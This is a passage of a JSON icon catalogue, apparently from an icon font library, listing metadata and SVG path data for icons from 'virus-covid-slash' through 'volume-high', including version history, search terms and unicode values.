        "path": "M192 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24s-10.7 24-24 24H280V81.6c30.7 4.2 58.8 16.3 82.3 34.1L386.1 92 374.8 80.6c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l56.6 56.6c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L420 125.9l-23.8 23.8c17.9 23.5 29.9 51.7 34.1 82.3H464V216c0-13.3 10.7-24 24-24s24 10.7 24 24v80c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H430.4c-4.2 30.7-16.3 58.8-34.1 82.3L420 386.1l11.3-11.3c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-56.6 56.6c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L386.1 420l-23.8-23.8c-23.5 17.9-51.7 29.9-82.3 34.1V464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V430.4c-30.7-4.2-58.8-16.3-82.3-34.1L125.9 420l11.3 11.3c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L46.7 408.7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L92 386.1l23.8-23.8C97.9 338.8 85.8 310.7 81.6 280H48v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V216c0-13.3 10.7-24 24-24s24 10.7 24 24v16H81.6c4.2-30.7 16.3-58.8 34.1-82.3L92 125.9 80.6 137.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l56.6-56.6c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L125.9 92l23.8 23.8c23.5-17.9 51.7-29.9 82.3-34.1V48H216c-13.3 0-24-10.7-24-24zm48 200a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm64 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "virus-covid-slash": {
    "changes": ["6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "covid-19",
        "flu",
        "health",
        "infection",
        "pandemic",
        "vaccine",
        "viral",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a9",
    "label": "Virus Covid Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c11.4-19.5 19.1-41.4 22.3-64.7H528v16c0 13.3 10.7 24 24 24s24-10.7 24-24V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v16H494.4c-4.2-30.7-16.3-58.8-34.1-82.3L484 125.9l11.3 11.3c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L472.7 46.7c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L450.1 92l-23.8 23.8C402.8 97.9 374.7 85.8 344 81.6V48h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h16V81.6c-30.7 4.2-58.8 16.3-82.3 34.1L189.9 92l11.3-11.3c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L134.1 79.8 38.8 5.1zM149.2 213.5c-1.5 6-2.7 12.2-3.5 18.5H112V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V280h33.6c4.2 30.7 16.3 58.8 34.1 82.3L156 386.1l-11.3-11.3c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l56.6 56.6c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L189.9 420l23.8-23.8c23.5 17.9 51.7 29.9 82.3 34.1V464H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2L149.2 213.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c11.4-19.5 19.1-41.4 22.3-64.7H528v16c0 13.3 10.7 24 24 24s24-10.7 24-24V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v16H494.4c-4.2-30.7-16.3-58.8-34.1-82.3L484 125.9l11.3 11.3c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L472.7 46.7c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L450.1 92l-23.8 23.8C402.8 97.9 374.7 85.8 344 81.6V48h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h16V81.6c-30.7 4.2-58.8 16.3-82.3 34.1L189.9 92l11.3-11.3c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L134.1 79.8 38.8 5.1zM149.2 213.5c-1.5 6-2.7 12.2-3.5 18.5H112V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V280h33.6c4.2 30.7 16.3 58.8 34.1 82.3L156 386.1l-11.3-11.3c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l56.6 56.6c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L189.9 420l23.8-23.8c23.5 17.9 51.7 29.9 82.3 34.1V464H280c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2L149.2 213.5z"
      }
    },
    "free": ["solid"]
  },
  "virus-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e075"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bug",
        "coronavirus",
        "covid-19",
        "cure",
        "eliminate",
        "flu",
        "health",
        "infection",
        "pandemic",
        "sick",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e075",
    "label": "Virus Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-154.3-121c-2-30.1 20.8-60.1 56-60.1H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H532.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C412.3 118.4 352 93.4 352 43.5V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L184.2 75c-12.5-12.5-32.8-12.5-45.3 0c-1.6 1.6-3.1 3.4-4.3 5.3L38.8 5.1zm225.8 177c6.9-3.9 14.9-6.1 23.4-6.1c26.5 0 48 21.5 48 48c0 4.4-.6 8.7-1.7 12.7l-69.7-54.6zM402 412.7L144.7 210c-9.5 8.5-22.2 14-37.2 14H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h11.5c49.9 0 74.9 60.3 39.6 95.6l-8.2 8.2c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-31.2 23.6-52.7 50-55.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-154.3-121c-2-30.1 20.8-60.1 56-60.1H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H532.5c-49.9 0-74.9-60.3-39.6-95.6l8.2-8.2c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-8.2 8.2C412.3 118.4 352 93.4 352 43.5V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43.5c0 49.9-60.3 74.9-95.6 39.6L184.2 75c-12.5-12.5-32.8-12.5-45.3 0c-1.6 1.6-3.1 3.4-4.3 5.3L38.8 5.1zm225.8 177c6.9-3.9 14.9-6.1 23.4-6.1c26.5 0 48 21.5 48 48c0 4.4-.6 8.7-1.7 12.7l-69.7-54.6zM402 412.7L144.7 210c-9.5 8.5-22.2 14-37.2 14H96c-17.7 0-32 14.3-32 32s14.3 32 32 32h11.5c49.9 0 74.9 60.3 39.6 95.6l-8.2 8.2c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l8.2-8.2c35.3-35.3 95.6-10.3 95.6 39.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V468.5c0-31.2 23.6-52.7 50-55.7z"
      }
    },
    "free": ["solid"]
  },
  "viruses": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e076"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bugs",
        "coronavirus",
        "covid-19",
        "flu",
        "health",
        "infection",
        "multiply",
        "pandemic",
        "sick",
        "spread",
        "vaccine",
        "viral"
      ]
    },
    "styles": ["solid"],
    "unicode": "e076",
    "label": "Viruses",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 0c13.3 0 24 10.7 24 24V37.5c0 35.6 43.1 53.5 68.3 28.3l9.5-9.5c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-9.5 9.5C293 124.9 310.9 168 346.5 168H360c13.3 0 24 10.7 24 24s-10.7 24-24 24H346.5c-35.6 0-53.5 43.1-28.3 68.3l9.5 9.5c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-9.5-9.5C259.1 293 216 310.9 216 346.5V360c0 13.3-10.7 24-24 24s-24-10.7-24-24V346.5c0-35.6-43.1-53.5-68.3-28.3l-9.5 9.5c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l9.5-9.5C91 259.1 73.1 216 37.5 216H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H37.5c35.6 0 53.5-43.1 28.3-68.3l-9.5-9.5c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l9.5 9.5C124.9 91 168 73.1 168 37.5V24c0-13.3 10.7-24 24-24zm48 224a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48-64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm320 80c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C574.5 312.1 591 352 624 352c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C551.9 446.5 512 463 512 496c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C417.5 423.9 401 384 368 384c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C440.1 289.5 480 273 480 240c0-8.8 7.2-16 16-16s16 7.2 16 16zm0 112a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 0c13.3 0 24 10.7 24 24V37.5c0 35.6 43.1 53.5 68.3 28.3l9.5-9.5c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-9.5 9.5C293 124.9 310.9 168 346.5 168H360c13.3 0 24 10.7 24 24s-10.7 24-24 24H346.5c-35.6 0-53.5 43.1-28.3 68.3l9.5 9.5c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-9.5-9.5C259.1 293 216 310.9 216 346.5V360c0 13.3-10.7 24-24 24s-24-10.7-24-24V346.5c0-35.6-43.1-53.5-68.3-28.3l-9.5 9.5c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l9.5-9.5C91 259.1 73.1 216 37.5 216H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H37.5c35.6 0 53.5-43.1 28.3-68.3l-9.5-9.5c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l9.5 9.5C124.9 91 168 73.1 168 37.5V24c0-13.3 10.7-24 24-24zm48 224a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48-64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm320 80c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C574.5 312.1 591 352 624 352c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C551.9 446.5 512 463 512 496c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C417.5 423.9 401 384 368 384c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C440.1 289.5 480 273 480 240c0-8.8 7.2-16 16-16s16 7.2 16 16zm0 112a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "vk": {
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f189",
    "label": "VK",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M31.4907 63.4907C0 94.9813 0 145.671 0 247.04V264.96C0 366.329 0 417.019 31.4907 448.509C62.9813 480 113.671 480 215.04 480H232.96C334.329 480 385.019 480 416.509 448.509C448 417.019 448 366.329 448 264.96V247.04C448 145.671 448 94.9813 416.509 63.4907C385.019 32 334.329 32 232.96 32H215.04C113.671 32 62.9813 32 31.4907 63.4907ZM75.6 168.267H126.747C128.427 253.76 166.133 289.973 196 297.44V168.267H244.16V242C273.653 238.827 304.64 205.227 315.093 168.267H363.253C359.313 187.435 351.46 205.583 340.186 221.579C328.913 237.574 314.461 251.071 297.733 261.227C316.41 270.499 332.907 283.63 346.132 299.751C359.357 315.873 369.01 334.618 374.453 354.747H321.44C316.555 337.262 306.614 321.61 292.865 309.754C279.117 297.899 262.173 290.368 244.16 288.107V354.747H238.373C136.267 354.747 78.0267 284.747 75.6 168.267Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M31.4907 63.4907C0 94.9813 0 145.671 0 247.04V264.96C0 366.329 0 417.019 31.4907 448.509C62.9813 480 113.671 480 215.04 480H232.96C334.329 480 385.019 480 416.509 448.509C448 417.019 448 366.329 448 264.96V247.04C448 145.671 448 94.9813 416.509 63.4907C385.019 32 334.329 32 232.96 32H215.04C113.671 32 62.9813 32 31.4907 63.4907ZM75.6 168.267H126.747C128.427 253.76 166.133 289.973 196 297.44V168.267H244.16V242C273.653 238.827 304.64 205.227 315.093 168.267H363.253C359.313 187.435 351.46 205.583 340.186 221.579C328.913 237.574 314.461 251.071 297.733 261.227C316.41 270.499 332.907 283.63 346.132 299.751C359.357 315.873 369.01 334.618 374.453 354.747H321.44C316.555 337.262 306.614 321.61 292.865 309.754C279.117 297.899 262.173 290.368 244.16 288.107V354.747H238.373C136.267 354.747 78.0267 284.747 75.6 168.267Z"
      }
    },
    "free": ["brands"]
  },
  "vnv": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40b",
    "label": "VNV",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"
      }
    },
    "free": ["brands"]
  },
  "voicemail": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f897"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["answer", "inbox", "message", "phone"]
    },
    "styles": ["solid"],
    "unicode": "f897",
    "label": "Voicemail",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 320a80 80 0 1 1 0-160 80 80 0 1 1 0 160zm119.8 0c15.3-22.9 24.2-50.4 24.2-80c0-79.5-64.5-144-144-144S0 160.5 0 240s64.5 144 144 144H496c79.5 0 144-64.5 144-144s-64.5-144-144-144s-144 64.5-144 144c0 29.6 8.9 57.1 24.2 80H263.8zM496 160a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 320a80 80 0 1 1 0-160 80 80 0 1 1 0 160zm119.8 0c15.3-22.9 24.2-50.4 24.2-80c0-79.5-64.5-144-144-144S0 160.5 0 240s64.5 144 144 144H496c79.5 0 144-64.5 144-144s-64.5-144-144-144s-144 64.5-144 144c0 29.6 8.9 57.1 24.2 80H263.8zM496 160a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "volcano": {
    "aliases": {
      "unicodes": {
        "composite": ["1f30b"],
        "secondary": ["10f770"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "caldera",
        "eruption",
        "lava",
        "magma",
        "mountain",
        "smoke",
        "volcano"
      ]
    },
    "styles": ["solid"],
    "unicode": "f770",
    "label": "Volcano",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 144c-35.3 0-64-28.7-64-64s28.7-64 64-64c15.7 0 30 5.6 41.2 15C212.4 12.4 232.7 0 256 0s43.6 12.4 54.8 31C322 21.6 336.3 16 352 16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-14.7 0-28.3-5-39.1-13.3l-32 48C275.3 187 266 192 256 192s-19.3-5-24.9-13.3l-32-48C188.3 139 174.7 144 160 144zM144 352l48.4-24.2c10.2-5.1 21.6-7.8 33-7.8c19.6 0 38.4 7.8 52.2 21.6l32.5 32.5c6.3 6.3 14.9 9.9 23.8 9.9c11.3 0 21.8-5.6 28-15l9.7-14.6-58.9-66.3c-9.1-10.2-22.2-16.1-35.9-16.1H235.1c-13.7 0-26.8 5.9-35.9 16.1l-59.9 67.4L144 352zm19.4-95.8c18.2-20.5 44.3-32.2 71.8-32.2h41.8c27.4 0 53.5 11.7 71.8 32.2l150.2 169c8.5 9.5 13.2 21.9 13.2 34.7c0 28.8-23.4 52.2-52.2 52.2H52.2C23.4 512 0 488.6 0 459.8c0-12.8 4.7-25.1 13.2-34.7l150.2-169z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 144c-35.3 0-64-28.7-64-64s28.7-64 64-64c15.7 0 30 5.6 41.2 15C212.4 12.4 232.7 0 256 0s43.6 12.4 54.8 31C322 21.6 336.3 16 352 16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-14.7 0-28.3-5-39.1-13.3l-32 48C275.3 187 266 192 256 192s-19.3-5-24.9-13.3l-32-48C188.3 139 174.7 144 160 144zM144 352l48.4-24.2c10.2-5.1 21.6-7.8 33-7.8c19.6 0 38.4 7.8 52.2 21.6l32.5 32.5c6.3 6.3 14.9 9.9 23.8 9.9c11.3 0 21.8-5.6 28-15l9.7-14.6-58.9-66.3c-9.1-10.2-22.2-16.1-35.9-16.1H235.1c-13.7 0-26.8 5.9-35.9 16.1l-59.9 67.4L144 352zm19.4-95.8c18.2-20.5 44.3-32.2 71.8-32.2h41.8c27.4 0 53.5 11.7 71.8 32.2l150.2 169c8.5 9.5 13.2 21.9 13.2 34.7c0 28.8-23.4 52.2-52.2 52.2H52.2C23.4 512 0 488.6 0 459.8c0-12.8 4.7-25.1 13.2-34.7l150.2-169z"
      }
    },
    "free": ["solid"]
  },
  "volleyball": {
    "aliases": {
      "names": ["volleyball-ball"],
      "unicodes": {
        "composite": ["1f3d0"],
        "secondary": ["10f45f"]
      }
    },
    "changes": ["5.0.5", "5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ball", "beach", "game", "olympics", "sport", "volleyball"]
    },
    "styles": ["solid"],
    "unicode": "f45f",
    "label": "Volleyball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.8 267.4c-26.1 8.7-53.4 13.8-81 15.1c9.2-105.3-31.5-204.2-103.2-272.4C434.1 41.1 512 139.5 512 256c0 3.8-.1 7.6-.2 11.4zm-3.9 34.7c-5.8 32-17.6 62-34.2 88.7c-97.5 48.5-217.7 42.6-311.9-24.5c23.7-36.2 55.4-67.7 94.5-91.8c79.9 43.2 170.1 50.8 251.6 27.6zm-236-55.5c-2.5-90.9-41.1-172.7-101.9-231.7C196.8 5.2 225.8 0 256 0c2.7 0 5.3 0 7.9 .1c90.8 60.2 145.7 167.2 134.7 282.3c-43.1-2.4-86.4-14.1-126.8-35.9zM138 28.8c20.6 18.3 38.7 39.4 53.7 62.6C95.9 136.1 30.6 220.8 7.3 316.9C2.5 297.4 0 277 0 256C0 157.2 56 71.5 138 28.8zm69.6 90.5c19.5 38.6 31 81.9 32.3 127.7C162.5 294.6 110.9 368.9 90.2 451C66 430.4 45.6 405.4 30.4 377.2c6.7-108.7 71.9-209.9 177.1-257.9zM256 512c-50.7 0-98-14.7-137.8-40.2c5.6-27 14.8-53.1 27.4-77.7C232.2 454.6 338.1 468.8 433 441c-46 44-108.3 71-177 71z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M511.8 267.4c-26.1 8.7-53.4 13.8-81 15.1c9.2-105.3-31.5-204.2-103.2-272.4C434.1 41.1 512 139.5 512 256c0 3.8-.1 7.6-.2 11.4zm-3.9 34.7c-5.8 32-17.6 62-34.2 88.7c-97.5 48.5-217.7 42.6-311.9-24.5c23.7-36.2 55.4-67.7 94.5-91.8c79.9 43.2 170.1 50.8 251.6 27.6zm-236-55.5c-2.5-90.9-41.1-172.7-101.9-231.7C196.8 5.2 225.8 0 256 0c2.7 0 5.3 0 7.9 .1c90.8 60.2 145.7 167.2 134.7 282.3c-43.1-2.4-86.4-14.1-126.8-35.9zM138 28.8c20.6 18.3 38.7 39.4 53.7 62.6C95.9 136.1 30.6 220.8 7.3 316.9C2.5 297.4 0 277 0 256C0 157.2 56 71.5 138 28.8zm69.6 90.5c19.5 38.6 31 81.9 32.3 127.7C162.5 294.6 110.9 368.9 90.2 451C66 430.4 45.6 405.4 30.4 377.2c6.7-108.7 71.9-209.9 177.1-257.9zM256 512c-50.7 0-98-14.7-137.8-40.2c5.6-27 14.8-53.1 27.4-77.7C232.2 454.6 338.1 468.8 433 441c-46 44-108.3 71-177 71z"
      }
    },
    "free": ["solid"]
  },
  "volume-high": {
    "aliases": {
      "names": ["volume-up"],
      "unicodes": {
        "composite": ["1f50a"],
        "secondary": ["10f028"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "higher",
        "loud",
        "louder",
        "music",
        "sound",
        "speaker",
        "speaker high volume"
      ]
    },
    "styles": ["solid"],
    "unicode": "f028",
    "label": "Volume High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M533.6 32.5C598.5 85.3 640 165.8 640 256s-41.5 170.8-106.4 223.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C557.5 398.2 592 331.2 592 256s-34.5-142.2-88.7-186.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM473.1 107c43.2 35.2 70.9 88.9 70.9 149s-27.7 113.8-70.9 149c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C475.3 341.3 496 301.1 496 256s-20.7-85.3-53.2-111.8c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zm-60.5 74.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
